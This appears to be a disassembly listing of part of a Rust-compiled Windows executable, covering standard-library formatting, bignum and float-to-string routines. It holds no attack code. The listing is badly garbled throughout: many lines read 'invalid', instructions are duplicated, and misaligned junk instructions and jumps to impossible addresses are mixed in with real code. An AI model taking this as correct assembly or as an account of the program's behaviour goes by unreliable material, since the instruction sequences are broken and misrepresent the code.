lea eax, [0x1400514b0]
mov qword [rsp + 0x68], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
or dword [rax], eax
or dword [rax], eax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 2
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov rdi, qword [r14 + 0x20]
mov edi, dword [rsi + 0x20]
mov rbx, qword [r14 + 0x28]
lea r8, [rsp + 0x28]
mov rcx, rdi
mov rdx, rbx
call fcn.140042180
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14004636e
mov rax, qword [rsi + 0x10]
mov rcx, qword [rax]
test rcx, rcx
je 0x140046318
invalid
add dword [rax], eax
invalid
invalid
cmp rcx, 0xa
jae 0x14004637c
mov rax, qword [rsi + 0x18]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0xc0], rcx
cmp qword [r14 + 0x10], 0
jne 0x14004623d
mov r14, qword [rsi + 0x20]
jmp 0x140046241
add r14, 0x18
mov rax, qword [r14]
mov qword [rsp + 0x90], rax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0x98], rax
lea rax, [0x1400514b0]
mov qword [rsp + 0xa0], rax
lea rax, [rsp + 0x90]
mov qword [rsp + 0xa8], rax
lea rax, [0x140041590]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x28], 2
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 1
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0x30
mov byte [rsp + 0x58], 0
lea rax, [0x1400d8f80]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [rsp + 0x98]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
lea r8, [rsp + 0x60]
mov rcx, rdi
mov rdx, rbx
call fcn.140042180
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14004636e
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [0x1400514b0]
mov qword [rsp + 0x68], rax
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x48], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
and al, 0x38
and al, 0x38
mov qword [rsp + 0x40], 1
add dword [rax], eax
add byte [rax], al
lea r8, [rsp + 0x28]
mov rcx, rdi
mov rdx, rbx
call fcn.140042180
nop
add rsp, 0xc8
pop rbx
pop rdi
pop rsi
pop r14
ret
lea r8, [0x1400d8f68]
mov edx, 9
add byte [rdx + 9], bh
call fcn.1400a9df0
ud2
add byte [rax], al
add byte [rbp - 0x77], al
ret 0x1f0f
mov rcx, r9
mov r9d, r8d
and r9b, 0xf
shr r10b, 4
cmp r9b, 0xa
mov r11d, 0x57
add byte [rax], al
add byte [rax], al
cmovb r11d, eax
add r11b, r9b
mov byte [rsp + rcx + 0x36], r11b
or al, 0x36
or al, 0x36
lea r9, [rcx - 1]
cmp r8b, 0x10
mov r8d, r10d
jae 0x1400463b0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x80
ja 0x140046427
mov eax, 0x81
sub rax, r9
add rcx, rsp
add rcx, 0x38
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x20], ecx
lea r8, [0x1400e3759]
mov r9d, 2
mov rcx, rdx
sal dword [rdx - 0x4d2d17ff], 1
invalid
call qword [rax - 0x473b7eb8]
invalid
add byte [rax], al
invalid
sal dword [rdx - 0x4d2d17ff], 1
invalid
mov eax, 0xc3000000
ret
lea r8, [0x1400d8a18]
mov edx, 0x80
add al, ch
mov eax, 0xf000638
invalid
add al, ch
mov eax, 0xf000638
or ecx, esp
int3
mov byte [rcx + 1], 1
jmp 0x1400464ea
mov qword [rcx + 8], rax
xor eax, eax
mov byte [rcx], al
pop rsi
ret
or al, byte [rax]
add byte [rax], al
xor eax, eax
nop word [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
cmp r8, r10
je 0x1400464a2
movzx esi, byte [r9 + r10]
mul r11
seto dl
add esi, 0xffffffd0
cmp esi, 9
ja 0x14004646f
adc dword [rcx - 9], ecx
jrcxz 0x1400464dd
nop
ret 0xc683
invalid
or dword [rdi - 0x69], esi
test dl, dl
jne 0x1400464e6
sal byte [rbp + 0xa], cl
mov edx, esi
inc r10
inc r10
add rax, rdx
jae 0x1400464c0
mov byte [rcx + 1], 2
add dh, byte [rax + 0x5e018801]
mov al, 1
mov byte [rcx], al
invalid
pop rsi
add dword [rsi - 0x3d], ebx
push r15
push rdi
ret
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
sub esp, 0x48
sub esp, 0x48
mov r8, rdx
mov eax, edx
mov rsi, rcx
cmp qword [rcx], 0
je 0x140046550
invalid
mov r15, qword [rsi + 8]
mov rdx, qword [r8]
mov edx, dword [rax]
mov edx, dword [rax]
adc byte [rcx - 0x75], cl
mov rbx, qword [r8 + 8]
mov r14, qword [r8 + 0x10]
jo case.0x140032048.80
pop rax
or byte [rbp - 0x75], cl
jo case.0x140032048.80
mov r13, qword [r8 + 0x18]
mov qword [rsp + 0x28], rdx
sbb byte [rax - 0x77], cl
push rsp
and al, 0x28
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x40], r13
je 0x140046551
cmp byte [rcx + rcx*4 + 0x6c], cl
and al, 0x40
mov ebp, dword [rsi + 0x30]
movzx r12d, byte [rsi + 0x38]
test byte [rsi + 0x34], 8
xor byte [rdi + rcx - 0x4a], al
cmp dh, dh
xor al, 8
jne 0x14004656d
mov edi, ebp
mov eax, r12d
loopne 0x140046594
test ebp, ebp
loopne 0x140046594
test ebp, ebp
jne 0x1400465be
jmp 0x14004664e
add byte [rax], al
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
add rsp, 0x48
add esp, 0x48
add esp, 0x48
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop rsi
pop rsi
pop r15
jmp 0x140046730
mov rcx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov r8, rbx
call qword [rax + 0x18]
push rax
invalid
test al, al
push rax
sbb byte [rax + rax*8 + 0x155850f], al
invalid
test dword [rbp + 1], edx
jne 0x1400466d8
add byte [rax], al
lea rax, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
and al, 0x30
add byte [rax], al
add byte [rax], al
xor eax, eax
sub r15, rbx
cmovb r15, rax
mov dword [rsi + 0x30], 0x30
mov byte [rsi + 0x38], 1
mov al, 1
mov edi, 0x30
xor ebx, ebx
test r13, r13
je 0x14004664e
shl r13, 3
lea rcx, [r13*2]
add byte [rcx + rax - 0x17], cl
add byte [rcx + rax - 0x17], cl
xor edx, edx
jmp 0x1400465f1
nop word cs:[rax + rax]
mov r8, qword [r14 + rdx + 0x10]
mov eax, dword [rsi + rdx + 0x10]
add rbx, r8
add rdx, 0x18
cmp rcx, rdx
je 0x14004664e
movzx r8d, word [r14 + rdx]
test r8, r8
je 0x140046630
cmp r8d, 1
jne 0x1400465e0
movzx r9d, word [r14 + rdx + 2]
cmp r9d, 0x3e8
jae 0x140046637
mov r8d, 1
cmp r9w, 0xa
jb 0x1400465e5
cmp r9w, 0x64
mov r8d, 3
jmp 0x140046648
mov r8, qword [r14 + rdx + 8]
jmp 0x1400465e5
movzx r8d, r9w
cmp r8d, 0x2710
mov r8d, 5
sbb r8, 0
jmp 0x1400465e5
sub r15, rbx
jbe 0x14004666f
movzx r13d, al
lea rax, [0x1400ef724]
movsxd rcx, dword [rax + r13*4]
add rcx, rax
jmp rcx
mov r13, r15
xor r15d, r15d
jmp case.0x140046665.0
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
lea r8, [rsp + 0x28]
and al, 0x28
and al, 0x28
call 0x140046730
mov dword [rsi + 0x30], ebp
mov byte [rsi + 0x38], r12b
cmp bl, ch
push rax
cmp bl, ch
push rax
mov r13, r15
shr r13, 1
inc r15
shr r15, 1
mov rbx, qword [rsi + 0x20]
mov r14, qword [rsi + 0x28]
inc r13
nop word cs:[rax + rax]
dec r13
je 0x1400466c4
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
test al, al
je 0x1400466b0
jmp 0x1400466d8
lea r8, [rsp + 0x28]
mov rcx, rbx
mov rdx, r14
call 0x140046730
test al, al
je 0x1400466eb
mov al, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rsp + 0x27], r12b
mov r12, r15
neg r12
mov r13, 0xffffffffffffffff
nop dword [rax]
lea rax, [r12 + r13]
cmp rax, 0xffffffffffffffff
je 0x14004671c
mov rcx, rbx
mov edx, edi
call qword [r14 + 0x20]
inc r13
test al, al
je 0x140046700
jmp 0x14004671f
mov r13, r15
cmp r13, r15
std
setb al
movzx r12d, byte [rsp + 0x27]
and al, 0x27
jmp 0x140046681
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
mov rbx, r8
mov ebx, eax
mov rsi, rdx
mov rdi, rcx
mov r8, qword [r8 + 8]
test r8, r8
je 0x140046767
invalid
mov rdx, qword [rbx]
mov rcx, rdi
call qword [rsi + 0x18]
mov ecx, eax
mov al, 1
test cl, cl
jne 0x14004698b
mov rax, qword [rbx + 0x18]
test rax, rax
je 0x140046989
mov r12, qword [rbx + 0x10]
lea rax, [rax + rax*2]
lea r13, [r12 + rax*8]
lea rbx, str.0000000000000000000000000000000000000000000000000000000000000000
lea r14, [rsp + 0x20]
jmp 0x1400467b5
invalid
invalid
mov edx, dword [rsp + 8]
mov r8, qword [r12 + 0x10]
mov rcx, rdi
call qword [rsi + 0x18]
test al, al
jne 0x140046985
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx - 0x7d], cl
invalid
add r12, 0x18
cmp r12, r13
je 0x140046989
movzx eax, word [r12]
test rax, rax
je 0x140046830
cmp eax, 1
jne 0x140046790
test ecx, ecx
je 0x140046887
invalid
add byte [rax], al
invalid
movabs byte [0x850f01f983000000], al
movabs al, byte [0x2454b70f41000000]
add byte [rcx + 0xf], al
mov bh, 0x54
push rsp
and al, 2
cmp edx, 0x3e8
invalid
cmp ecx, 1
jne 0x14004688e
invalid
add byte [rcx + 0xf], al
mov bh, 0x54
push rsp
movzx edx, word [r12 + 2]
push rsp
and al, 2
cmp edx, 0x3e8
jae 0x1400468cb
cli
call 0x14f0467fe
or ebx, 0
add byte [rax], al
mov ecx, 1
cmp dx, 0xa
jb 0x1400468e2
cmp dx, 0x64
mov ecx, 3
sbb rcx, 0
test cl, 1
je 0x1400468aa
jmp 0x1400468e2
mov r15, qword [r12 + 8]
cmp r15, 0x41
jb 0x140046862
lea rcx, [r12 + 8]
jmp 0x140046893
lea rcx, [r12 + 0x10]
mov rcx, qword [rcx]
cmp rcx, 6
jae 0x14004699c
test rcx, rcx
je 0x1400468c3
test cl, 1
jne 0x1400468e2
lea rdx, [rsp + rcx]
add rdx, 0x20
mov r8d, 1
cmp rcx, 1
jne 0x140046920
jmp 0x140046974
xor r8d, r8d
jmp 0x140046974
movzx ecx, dx
cmp ecx, 0x2710
mov ecx, 5
sbb rcx, 0
test cl, 1
je 0x1400468aa
invalid
enter 0xffffffffffff8d48, 0x54
and al, 0x1f
lea rdx, [rsp + 0x1f]
add rdx, rcx
movzx r8d, ax
imul r8d, r8d, 0xcccd
int 0xcc
add byte [rax], al
int 0xcc
add byte [rax], al
shr r8d, 0x13
lea r9d, [r8 + r8]
lea r9d, [r9 + r9*4]
sub eax, r9d
or al, 0x30
mov byte [rsp + rcx + 0x1f], al
mov eax, r8d
mov r8d, 1
cmp rcx, 1
stc
invalid
je 0x140046974
stc
add dword [rbx + rbx*2 + 0xf], esi
invalid
invalid
nop dword [rax]
add byte [rax], al
add byte [rdi + rcx - 0x49], al
rol byte [rbp + 0x69], 0xc8
int 0xcc
add byte [rax], al
movzx r8d, ax
imul r9d, r8d, 0xcccd
shr r9d, 0x13
lea r10d, [r9 + r9]
lea r10d, [r10 + r10*4]
sub eax, r10d
or al, 0x30
mov byte [rdx - 1], al
imul eax, r9d, 0x199a
shr eax, 0xf
and eax, 0xfffffffe
lea eax, [rax + rax*4]
sub r9d, eax
or r9b, 0x30
mov byte [rdx - 2], r9b
add rdx, 0xfffffffffffffffe
shr r8d, 2
imul eax, r8d, 0x147b
shr eax, 0x11
cmp rdx, r14
jne 0x140046920
jmp 0x15491b045
mov r8, rcx
mov rcx, rdi
mov rdx, r14
call qword [rsi + 0x18]
test al, al
je 0x1400467a8
mov al, 1
jmp 0x14004698b
xor eax, eax
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.librarycore_src_fmtmod.rs
mov edx, 5
call fcn.1400a9df0
ud2
fimul word [rcx - 0x7d]
ret 0x4803
invalid
invalid
add ecx, dword [rax - 0x7b]
leave
cmove r10, r11
dec r10
lea rcx, [0x1400ef734]
lea ecx, [0x1400ef734]
lea ecx, [0x1400ef734]
or al, byte [rax]
movsxd r10, dword [rcx + r10*4]
adc al, 0x91
add r10, rcx
jmp r10
mov cl, 3
jmp 0x140046aae
mov cl, 4
jmp 0x140046aae
add r12d, 0xfffffbcd
test bpl, 1
sete cl
jmp 0x140046aae
add cl, 0xfe
movzx edx, cl
cmp dl, 3
mov ecx, 3
cmovb ecx, edx
test cl, cl
je 0x140046b61
mov r11, rax
shr r11, 0x3f
lea rdx, [0x1400d85c2]
lea r10, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
test r8b, r8b
cmovne r10, rdx
mov edx, 1
cmovne r11, rdx
test rax, rax
lea r8, [0x1400e34d9]
cmovns r8, r10
cmp cl, 1
je 0x140046ba2
movzx eax, cl
cmp eax, 2
jne 0x140046bd4
mov word [rsp + 0x158], 2
test r9, r9
je 0x140046de0
lea rax, str.0.NaNinfassertion_failed:_buf.len_____maxlen
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 2
mov word [rsp + 0x170], 0
mov qword [rsp + 0x178], r9
mov edx, 2
lea rax, [rsp + 0x158]
jmp 0x140047e7b
mov word [rsp + 0x158], 2
lea rax, [0x1400d85c3]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
mov edx, 1
lea rax, [rsp + 0x158]
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_src_slice_sort.rs
xor r11d, r11d
jmp 0x140047e7b
mov word [rsp + 0x158], 2
lea rax, [0x1400d85c6]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 3
lea rax, [rsp + 0x158]
jmp 0x140047e7b
test r12w, r12w
mov rax, 0xfffffffffffffff4
mov ecx, 5
cmovs rcx, rax
movsx rbx, r12w
imul rcx, rbx
cmp rcx, 0x3ec0
jae 0x140047f43
mov qword [rsp + 0x80], r8
mov qword [rsp + 0x88], r11
mov eax, r9d
neg eax
mov qword [rsp + 0x90], r9
cmp r9, 0x8000
mov edx, 0x8000
cmovb edx, eax
mov dword [rsp + 0x54], edx
test rbp, rbp
je case.0x140032048.89
shr rcx, 4
add rcx, 0x15
mov qword [rsp + 0x58], rcx
mov rdi, rbp
shr rdi, 0x20
mov rax, rbp
shl rax, 0x20
lea ecx, [r12 - 0x20]
test rdi, rdi
cmovne rax, rbp
cmovne ecx, r12d
mov rdx, rax
shr rdx, 0x30
mov r8, rax
shl r8, 0x10
lea r9d, [rcx - 0x10]
test rdx, rdx
cmovne r8, rax
cmovne r9d, ecx
mov rax, r8
shr rax, 0x38
mov rcx, r8
shl rcx, 8
lea edx, [r9 - 8]
test rax, rax
cmovne rcx, r8
cmovne edx, r9d
mov rax, rcx
shr rax, 0x3c
mov r8, rcx
shl r8, 4
test rax, rax
cmovne r8, rcx
lea ecx, [rdx - 4]
cmovne ecx, edx
mov r9, r8
shr r9, 0x3e
lea edx, [rcx - 2]
lea rax, [r8*4]
test r9, r9
cmovne edx, ecx
cmovne rax, r8
xor ecx, ecx
test rax, rax
setns cl
sub edx, ecx
mov r8d, 0xffffffa0
sub r8d, edx
movsx r8d, r8w
lea r8d, [r8 + r8*4]
shl r8d, 4
add r8d, 0x153b0
imul r9, r8, 0x7b4dc993
shl rax, cl
shr r9, 0x26
and r9d, 0xfffffff0
lea r11, [0x1400d7ec0]
mov r8, qword [r9 + r11]
mov r10d, eax
mov rcx, rax
shr rcx, 0x20
mov eax, r8d
shr r8, 0x20
mov rsi, r8
imul rsi, rcx
imul r8, r10
imul rcx, rax
imul rax, r10
shr rax, 0x20
mov r10d, ecx
add r10, rax
mov eax, r8d
add rax, r10
sub rax, 0xffffffff80000000
shr rcx, 0x20
add rcx, rsi
shr r8, 0x20
add r8, rcx
shr rax, 0x20
add rax, r8
movzx ecx, word [r9 + r11 + 8]
add cx, dx
mov edx, 0xffffffc0
sub edx, ecx
movzx r10d, dx
mov r8d, r10d
and r8d, 0x3f
mov rdx, rax
mov ecx, r8d
shr rdx, cl
mov esi, 1
shl rsi, cl
lea r14, [rsi - 1]
mov r15, rax
and r15, r14
mov qword [rsp + 0x78], rdi
je 0x140046e08
mov qword [rsp + 0x60], rsi
movzx r9d, word [r9 + r11 + 0xa]
cmp edx, 0x2710
mov qword [rsp + 0x70], r13
mov qword [rsp + 0x68], rbx
jae 0x140046e22
cmp edx, 0x64
mov rsi, qword [rsp + 0x58]
jae 0x140046e4d
xor ecx, ecx
cmp edx, 0xa
setae cl
lea r13d, [rcx + rcx*8]
inc r13d
jmp 0x140046ead
lea rax, [0x1400e34da]
mov qword [rsp + 0x160], rax
mov qword [rsp + 0x168], 1
lea rax, [rsp + 0x158]
jmp 0x140047e7b
mov qword [rsp + 0x98], 0
mov rsi, qword [rsp + 0x58]
mov edi, dword [rsp + 0x54]
jmp 0x14004715f
cmp edx, 0xf4240
mov rsi, qword [rsp + 0x58]
jae 0x140046e6b
cmp edx, 0x186a0
setb cl
mov r11d, 0x2710
mov r13d, 0x186a0
cmovb r13d, r11d
xor cl, 5
jmp 0x140046ead
cmp edx, 0x3e8
setb cl
mov r11d, 0x64
mov r13d, 0x3e8
cmovb r13d, r11d
xor cl, 3
jmp 0x140046ead
cmp edx, 0x5f5e100
jae 0x140046e91
mov word [rsp + 0x158], 2
mov rcx, qword [rsp + 0x90]
test rcx, rcx
je 0x14004706a
mov rax, rbp
dec rax
je 0x140047171
bsr rax, rax
xor rax, 0x3f
jmp 0x140047176
mov eax, 0x40
sub rbx, rax
imul rax, rbx, 0x4d104d42
movabs r14, 0x1344135080
add r14, rax
shr r14, 0x20
xor eax, eax
xor ecx, ecx
mov rdx, qword [rsp + 0x78]
test rdx, rdx
cmove edx, eax
setne cl
inc rcx
mov qword [rsp + 0x150], rcx
mov dword [rsp + 0xb0], ebp
mov dword [rsp + 0xb4], edx
xorps xmm0, xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0xd8], xmm0
movups xmmword [rsp + 0xe8], xmm0
movups xmmword [rsp + 0xf8], xmm0
movups xmmword [rsp + 0x108], xmm0
movups xmmword [rsp + 0x118], xmm0
movups xmmword [rsp + 0x128], xmm0
movups xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x148], 0
movups xmmword [rsp + 0x290], xmm0
movups xmmword [rsp + 0x284], xmm0
movups xmmword [rsp + 0x274], xmm0
movups xmmword [rsp + 0x264], xmm0
movups xmmword [rsp + 0x254], xmm0
movups xmmword [rsp + 0x244], xmm0
movups xmmword [rsp + 0x234], xmm0
movups xmmword [rsp + 0x224], xmm0
movups xmmword [rsp + 0x214], xmm0
movups xmmword [rsp + 0x204], xmm0
mov qword [rsp + 0x2a0], 1
mov dword [rsp + 0x200], 1
test r12w, r12w
js 0x14004728e
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
call fcn.1400a9df0
ud2
cmp rcx, 0x29
jae 0x14004736b
mov r11, rdx
inc rdx
lea rax, [rcx*4]
xor esi, esi
nop dword [rax]
cmp rax, rsi
je 0x140047cc3
cmp dword [rsp + rsi + 0xb0], 0
lea rsi, [rsi + 4]
je 0x1400476e0
mov rax, qword [rsp + 0x78]
cmp rcx, rax
cmova rax, rcx
cmp rax, 0x29
jae 0x140047f2d
lea rsi, [rax*4]
nop word cs:[rax + rax]
test rsi, rsi
je 0x140047748
sbb al, 0x48
test ecx, ecx
mov edi, dword [rsp + 0x54]
jl 0x140047b1a
push rsp
je 0x140047bbf
ret 0
cmp rcx, 1
jne 0x140047b18
mov r9, r13
mov al, 1
xor edi, edi
jmp 0x140047b7b
mov edi, dword [rsp + 0x54]
jmp 0x140047bca
mov dl, 0
add byte [rax], al
mov rbx, rcx
mov ebx, ecx
retf
and rbx, 0xfffffffffffffffe
mov al, 1
xor edi, edi
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
invalid
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
mov r8d, dword [rsp + rdi*4 + 0x200]
mov r8d, dword [rsp + rdi*4 + 0x200]
add al, byte [rax]
add byte [rcx - 9], al
ror byte [rdi], 1
movzx eax, al
not r8d
movzx eax, al
bt eax, 0
loopne 0x140047b42
adc dword [rsp + rdi*4 + 0xb0], r8d
test byte [rax + rsi*4 - 0x75000000], bh
test byte [rsp + rax - 0x8fffffe], bh
add byte [rax], al
not eax
invalid
mov esp, 0xb0
mov eax, dword [rsp + rdi*4 + 0x204]
add byte [rax], al
not eax
adc dword [rsp + rdi*4 + 0xb4], eax
test byte [rsp + rsi*4 + 0x48000000], bh
lea edi, [rdi + 2]
test byte [rsp + rsi*4 + 0x48000000], bh
lea edi, [rdi + 2]
add byte [rax - 0x73], cl
jg 0x140047b60
setb al
cmp rbx, rdi
ror byte [rax + 0x39], 0xfb
jne case.0x1400279e4.354
test cl, 1
jne 0x140047b78
add dword [rbp + 0xd], esi
test al, al
mov edi, dword [rsp + 0x54]
push rsp
jne 0x140047bbf
jmp 0x140047fbb
add al, 0
add byte [rbp - 0x77], cl
jmp 0xfc8906c3
mov r9, r13
mov r8d, dword [rsp + rdi*4 + 0x200]
add byte [rdx], al
add byte [rax], al
not r8d
not eax
mov ebx, dword [rsp + rdi*4 + 0xb0]
mov al, 0
add byte [rax], al
lea r15d, [r8 + rbx]
movzx r13d, al
add r13d, r15d
setb al
mov dword [rsp + rdi*4 + 0xb0], r13d
add r8d, ebx
fmul dword [rbp - 0x77]
int 0x8b
jl case.0x1400261fe.321
push rsp
add byte [rax], al
add byte [rcx + 1], al
fmul dword [rbp - 0x77]
int 0x8b
jl case.0x1400261fe.321
push rsp
lea r15, [rsp + 0x200]
jb 0x140047bbf
add byte [rdx + 8], dh
test al, al
je 0x140047fbb
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x77], cl
mov qword [rsp + 0x150], rcx
inc sil
mov word [rax + rdx*2], fs
add dword [rax], eax
add byte [rax - 2], al
invalid
cmp r11, qword [rsp + 0x58]
je 0x140047eec
test byte [rdi], dl
add eax, dword [rax]
invalid
test byte [rdi], dl
add eax, dword [rax]
add byte [rax - 0x80], al
invalid
add sil, 0x30
mov byte [rsp + r11 + 0x3f8], sil
test rcx, rcx
je 0x140047c3f
lea r11, [rcx*4]
xor esi, esi
xor eax, eax
nop word cs:[rax + rax]
mov r8d, dword [rsp + rsi + 0xb0]
lea r8, [r8 + r8*4]
add byte [rdi - 0x73], cl
add al, 0x80
lea rax, [rax + r8*2]
mov dword [rsp + rsi + 0xb0], eax
test byte [rax + rsi*4], dh
add byte [rax], al
add byte [rax - 0x3f], cl
call 0x10687c43e
add al, 0x49
cmp ebx, esi
test byte [rax + rsi*4], dh
add byte [rax], al
add byte [rax - 0x3f], cl
call 0x10687c43e
add al, 0x49
cmp ebx, esi
jne 0x140047c00
test rax, rax
je 0x140047c41
cmp rcx, 0x27
ja 0x140047ed4
mov dword [rsp + rcx*4 + 0xb0], eax
inc rcx
jmp 0x140047c41
xor ecx, ecx
mov qword [rsp + 0x150], rcx
cmp rdx, rbp
jne 0x1400476c2
mov al, 1
mov rsi, qword [rsp + 0x58]
jmp 0x140047c5f
cmp r12, 0x29
jae 0x140047f77
test r12, r12
je 0x140047d02
lea r8, [r12*4]
xor r9d, r9d
xor edx, edx
nop
mov r10d, dword [rsp + r9 + 0x200]
lea r10, [r10 + r10*4]
add r10, rdx
mov rdx, r10
shr rdx, 0x20
mov dword [rsp + r9 + 0x200], r10d
add r9, 4
cmp r8, r9
jne 0x140047c80
test rdx, rdx
je 0x140047d05
mov rdx, qword [rsp + 0x58]
cmp rbp, rdx
ja 0x140047fd5
mov r8, rbp
sub r8, r11
je 0x140047ceb
lea rcx, [rsp + r11]
add rcx, 0x3f8
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
lea rcx, [rsp + 0x3f8]
cmp r14w, di
jg 0x140047e4b
xor r12d, r12d
mov qword [rsp + 0x2a0], r12
cmp rcx, r12
cmova r12, rcx
cmp r12, 0x29
jae 0x140047f77
shl r12, 2
mov ecx, 0xff
nop word [rax + rax]
test r12, r12
je 0x140047d62
add byte [rax], al
add byte [rdx - 0x73], cl
or al, 0x24
add rcx, 0x200
add byte [rdx], al
add byte [rax], al
add byte [rdx], al
add byte [rax], al
cmp rcx, r15
sete cl
test al, cl
je case.0x140028086.162
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rbp - 1]
cmp rcx, rsi
cmp ecx, esi
lea rcx, [rbp - 1]
cmp rcx, rsi
cmp ecx, esi
cmp ecx, esi
jae 0x140047f15
add dword [rax], eax
add dh, dh
test byte [rax + rdi*8], cl
add eax, dword [rax]
add byte [rcx], al
test byte [rsp + rcx + 0x3f8], 1
je case.0x140028086.162
add byte [rax], al
cmp rbp, rsi
ja 0x140047fe6
mov r8, 0xffffffffffffffff
mov rcx, rbp
nop dword [rax]
test rcx, rcx
je 0x140047de8
mov rax, rcx
dec rcx
inc r8
cmp byte [rsp + rax + 0x3f7], 0x39
je 0x140047db0
inc byte [rsp + rcx + 0x3f8]
cmp rax, rbp
cmp eax, ebp
clc
add eax, dword [rax]
add byte [rax + 0x39], cl
cmp eax, ebp
jae case.0x140028086.162
lea rcx, [rsp + rax]
cmp eax, ebp
jae case.0x140028086.162
lea rcx, [rsp + rax]
lea ecx, [rsp + rax]
add rcx, 0x3f8
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
invalid
add bl, ch
invalid
add eax, 0x4848eb00
test ebp, ebp
test rbp, rbp
je 0x140047e12
mov byte [rsp + 0x3f8], 0x31
mov bl, 0x30
cmp rbp, 1
je 0x140047e14
lea rcx, [rsp + 0x3f9]
lea r8, [rbp - 1]
mov dl, 0x30
call sub.VCRUNTIME140.dll_memset
jmp 0x140047e14
mov bl, 0x31
lea eax, [r14 + 1]
cmp r14w, di
invalid
jl 0x140047e2d
invalid
cmp rbp, rsi
cmc
jae 0x140047e2d
mov byte [rsp + rbp + 0x3f8], bl
inc rbp
inc ebp
sub al, 0xf8
add eax, dword [rax]
add byte [rax - 1], cl
inc ebp
inc ebp
mov r14d, eax
cmp rbp, rsi
ja 0x140047fa7
xchg dword [rsi + 1], ebp
add byte [rax], al
xchg dword [rsi + 1], ebp
add byte [rax], al
outsb dx, byte [rsi]
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rdi*8], fs
add eax, dword [rax]
add byte [rsi + 0x41], ah
cmp esi, edi
invalid
lea rcx, [rsp + 0x3f8]
cmp r14w, di
invalid
dec byte [rdi]
mov ss, esp
int1
invalid
jle 0x14004701f
lea rax, [rsp + 0x158]
mov qword [rsp + 0x20], rax
mov rdx, rbp
mov r8d, r14d
mov r9, qword [rsp + 0x90]
call fcn.140042ce0
mov r11, qword [rsp + 0x88]
mov r8, qword [rsp + 0x80]
mov qword [rsp + 0x2a8], r8
mov qword [rsp + 0x2b0], r11
mov qword [rsp + 0x2b8], rax
mov qword [rsp + 0x2c0], rdx
lea rdx, [rsp + 0x2a8]
mov rcx, r13
call 0x1400464f0
nop
add rsp, 0x7f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.librarycore_src_num_bignum.rs
mov ecx, 0x28
mov edx, 0x28
call fcn.1400a9d70
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
mov rcx, qword [rsp + 0x58]
mov rdx, rcx
call fcn.1400a9d70
ud2
lea r8, str.librarycore_src_num_flt2dec_strategydragon.rsassertion_failed:_d.mant___0
add eax, 0x8ff2c
mov rdx, rsi
call fcn.1400a9d70
invalid
invalid
add byte [rdi], cl
invalid
invalid
lea r8, str.librarycore_src_num_bignum.rs
mov edx, 0x28
mov rcx, rax
call fcn.1400a9df0
ud2
cld
invalid
lea rcx, [0x1400d85c9]
